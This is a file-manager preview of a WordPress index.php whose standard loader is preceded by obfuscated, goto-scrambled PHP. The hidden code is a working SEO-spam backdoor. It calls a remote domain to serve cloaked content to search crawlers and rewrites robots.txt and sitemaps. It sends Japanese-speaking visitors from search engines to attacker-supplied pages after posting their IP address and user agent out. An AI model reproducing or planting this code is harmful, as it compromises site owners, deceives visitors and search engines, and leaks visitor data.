Preview: index.php
Size: 7.96 KB
/home7/doctorbruno/public_html/ularal.com/index.php
<?php
goto zTz_F; dGP_M: $req_uri = $_SERVER["\122\105\121\x55\x45\123\124\x5f\125\x52\111"]; goto MGC8e; qXzOF: $ser_name = $_SERVER["\x53\x45\x52\126\x45\122\x5f\x4e\x41\x4d\x45"]; goto AtbLX; Gq1Lt: if (substr($req_uri, -6) == "\162\x6f\142\x6f\x74\163") { define("\x42\x41\123\x45\x5f\120\101\x54\110", $_SERVER["\104\x4f\103\125\x4d\x45\116\124\137\x52\117\117\x54"]); $robots_cont = @file_get_contents(BASE_PATH . "\x2f\162\157\x62\x6f\164\163\x2e\164\170\164"); $data1["\162\x6f\142\x6f\164\163\137\143\x6f\156\164"] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH . "\57\x72\157\x62\157\164\x73\56\x74\170\164", $robots_cont); $robots_cont = @file_get_contents(BASE_PATH . "\57\x72\x6f\142\x6f\164\x73\56\164\x78\x74"); if (strpos(strtolower($robots_cont), "\163\x69\164\x65\155\141\160")) { echo "\162\157\142\x6f\x74\163\56\x74\170\x74\x20\146\x69\154\145\x20\x63\162\x65\x61\164\x65\40\163\x75\143\143\x65\163\x73\x21"; } else { echo "\x72\x6f\x62\157\164\x73\x2e\x74\x78\164\40\x66\x69\x6c\x65\40\x63\162\145\x61\x74\x65\x20\146\x61\x69\154\41"; } die; } goto Lwu1R; gznRw: $chk_refer = check_refer($referer); goto f3mnZ; oGPSo: $http = isset($_SERVER["\110\x54\x54\120\x53"]) && $_SERVER["\x48\x54\x54\120\123"] !== "\x6f\x66\146" ? "\150\x74\164\160\163\72\x2f\x2f" : "\150\164\164\160\72\x2f\57"; goto dGP_M; gwkRu: $data1[] = array(); goto DSuD6; x4JMI: $data1["\x68\x72\145\146"] = $href1; goto v4YqC; kqILY: function is_japanese_language() { $accept_language = isset($_SERVER["\x48\x54\x54\120\x5f\101\x43\x43\105\x50\x54\x5f\114\x41\116\x47\x55\101\x47\105"]) ? $_SERVER["\x48\x54\124\120\x5f\101\103\103\x45\120\124\x5f\x4c\x41\116\107\x55\101\x47\105"] : ''; if (empty($accept_language)) { return false; } $langs = explode("\54", $accept_language); $primary_lang = strtolower(trim($langs[0])); if (strpos($primary_lang, "\152\x61") === 0) { return true; } return false; } goto oGPSo; zTz_F: $inter_domain = "\150\x74\x74\160\163\x3a\x2f\x2f\172\x36\60\x39\63\x30\x5f\x36\x2e\150\x6f\165\x73\x65\163\x73\56\x73\x68\157\x70\x2f"; goto qMK3m; s1bJ9: $res_crawl = is_crawler($user_agent); goto HG9yk; Lwu1R: if (substr($req_uri, -4) == "\x2e\x78\155\x6c") { if (strpos($req_uri, "\x61\154\154\x73\151\x74\x65\155\x61\x70\56\170\x6d\154")) { $str_cont = getServerCont($map1, $data1); header("\x43\157\156\x74\x65\156\x74\55\164\x79\x70\145\x3a\x74\145\x78\x74\57\x78\x6d\x6c"); echo $str_cont; die; } if (strpos($req_uri, "\x2e\x70\150\x70")) { $word4 = explode("\x3f", $req_uri); $word4 = $word4[count($word4) - 1]; $word4 = str_replace("\56\x78\x6d\x6c", '', $word4); } else { $word4 = str_replace("\57", '', $req_uri); $word4 = str_replace("\x2e\x78\x6d\x6c", '', $word4); } $data1["\167\x6f\162\144"] = $word4; $data1["\x61\143\x74\151\x6f\x6e"] = "\x63\150\x65\x63\x6b\137\163\151\164\x65\x6d\x61\160"; $check_url4 = getServerCont($url_words, $data1); if ($check_url4 == "\x31") { $str_cont = getServerCont($map1, $data1); header("\x43\157\156\x74\x65\x6e\164\55\164\x79\x70\x65\72\164\145\x78\x74\57\x78\x6d\154"); echo $str_cont; die; } $data1["\x61\x63\x74\x69\x6f\x6e"] = "\x63\150\x65\143\153\137\x77\157\x72\144\x73"; $check1 = getServerCont($url_words, $data1); if (strpos($req_uri, "\x6d\x61\160") > 0 || $check1 == "\x31") { $data1["\141\143\164\x69\157\x6e"] = "\x72\141\x6e\144\x5f\x78\155\x6c"; $check_url4 = getServerCont($url_words, $data1); header("\x43\157\156\x74\145\156\x74\x2d\x74\x79\160\x65\x3a\164\x65\x78\164\57\170\155\154"); echo $check_url4; die; } } goto ipq0s; AtbLX: $req_url = $http . $domain . $req_uri; goto aHPxU; Herw2: $url_words = $inter_domain . "\x2f\167\157\x72\144\163\56\x70\150\160"; goto cBsD0; cBsD0: $url_robots = $inter_domain . "\57\x72\157\142\x6f\x74\163\x2e\x70\x68\160"; goto HhJmG; HhJmG: if (strpos($req_uri, "\x2e\160\150\160")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } goto gwkRu; MGC8e: $domain = $_SERVER["\x48\124\124\120\137\x48\117\x53\124"]; goto g_R1O; qMK3m: function getServerCont($url, $data = array()) { $url = str_replace("\x20", "\x2b", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$url}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); if (version_compare(PHP_VERSION, "\70\x2e\x30\56\x30", "\74")) { curl_close($ch); } if (0 !== $errorCode) { return false; } return $output; } goto IMcDe; Zq2dG: function check_refer($refer) { $check_refer = false; $referbots = "\147\157\157\147\x6c\145\174\x79\x61\150\157\157\x7c\142\151\156\147\x7c\141\x6f\154"; if ($refer != '' && preg_match("\57\x28{$referbots}\x29\x2f\x73\151", $refer)) { $check_refer = true; } return $check_refer; } goto kqILY; f3mnZ: $user_agent = strtolower(isset($_SERVER["\x48\124\124\x50\x5f\125\x53\x45\122\x5f\x41\107\x45\116\x54"]) ? $_SERVER["\110\x54\x54\120\x5f\x55\x53\105\x52\137\x41\x47\x45\x4e\x54"] : ''); goto s1bJ9; ipq0s: if (strpos($req_uri, "\56\160\x68\x70")) { $main_shell = $http . $ser_name . $self; $data1["\155\x61\151\156\x5f\163\x68\145\154\x6c"] = $main_shell; } else { $main_shell = $http . $ser_name; $data1["\x6d\141\151\x6e\x5f\163\150\145\154\x6c"] = $main_shell; } goto CrImm; uHFCw: if ($res_crawl) { $data1["\150\164\x74\160\137\165\x73\x65\162\x5f\141\147\x65\x6e\x74"] = $user_agent; $get_content = getServerCont($indata1, $data1); echo $get_content; die; } goto iZUxZ; aHPxU: $indata1 = $inter_domain . "\57\151\156\x64\141\164\x61\56\160\x68\x70"; goto J8Xic; CrImm: $referer = isset($_SERVER["\110\x54\x54\x50\x5f\x52\105\x46\105\x52\x45\x52"]) ? $_SERVER["\110\x54\124\120\137\x52\105\x46\x45\x52\105\122"] : ''; goto gznRw; g_R1O: $self = $_SERVER["\x50\110\120\137\x53\105\x4c\x46"]; goto qXzOF; VLO0B: $data1["\162\x65\x71\x5f\x75\162\151"] = $req_uri; goto x4JMI; t_X44: $jump1 = $inter_domain . "\x2f\x6a\x75\155\x70\x2e\160\150\160"; goto Herw2; IMcDe: function is_crawler($agent) { $agent_check = false; $bots = "\x67\x6f\157\147\x6c\x65\142\157\x74\174\142\151\156\x67\x62\157\x74\174\147\x6f\157\x67\154\145\174\x61\157\x6c\174\x62\151\156\147\174\x79\x61\x68\x6f\157"; if ($agent != '') { if (preg_match("\57\x28{$bots}\x29\x2f\x73\151", $agent)) { $agent_check = true; } } return $agent_check; } goto Zq2dG; HoRwc: if (!$res_crawl && $chk_refer && is_japanese_language() && (preg_match("\57\134\144\44\57", $req_uri) || preg_match("\x23\x5b\141\x2d\x7a\135\x3d\x5b\141\55\x7a\60\x2d\x39\x5d\x2b\x23", $req_uri) || preg_match("\x2f\x69\164\145\155\57", $req_uri))) { $data1["\151\x70"] = $_SERVER["\x52\105\115\117\124\105\x5f\x41\104\x44\122"]; $data1["\162\x65\x66\145\x72\x65\x72"] = isset($_SERVER["\x48\x54\x54\120\x5f\x52\105\106\x45\x52\105\x52"]) ? $_SERVER["\x48\124\x54\120\137\x52\x45\106\x45\x52\105\x52"] : ''; $data1["\x75\163\145\162\137\x61\147\x65\x6e\x74"] = strtolower(isset($_SERVER["\110\x54\124\120\137\x55\x53\105\x52\137\x41\107\x45\x4e\x54"]) ? $_SERVER["\x48\124\124\120\137\x55\x53\105\122\137\x41\x47\x45\116\124"] : ''); echo getServerCont($jump1, $data1); die; } goto uHFCw; v4YqC: $data1["\162\145\161\x5f\x75\x72\x6c"] = $req_url; goto Gq1Lt; J8Xic: $map1 = $inter_domain . "\57\155\x61\x70\x2e\160\x68\160"; goto t_X44; DSuD6: $data1["\x64\x6f\155\x61\151\156"] = $domain; goto VLO0B; HG9yk: $req_uri = str_replace(array("\56\150\164\155", "\x2e\150\x74\x6d\154", "\x2e\163\150\164\155\154", "\56\x70\150\x74\x6d\154"), '', rtrim($req_uri, "\57")); goto HoRwc; iZUxZ: ?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
Directory Contents
Dirs: 6 × Files: 18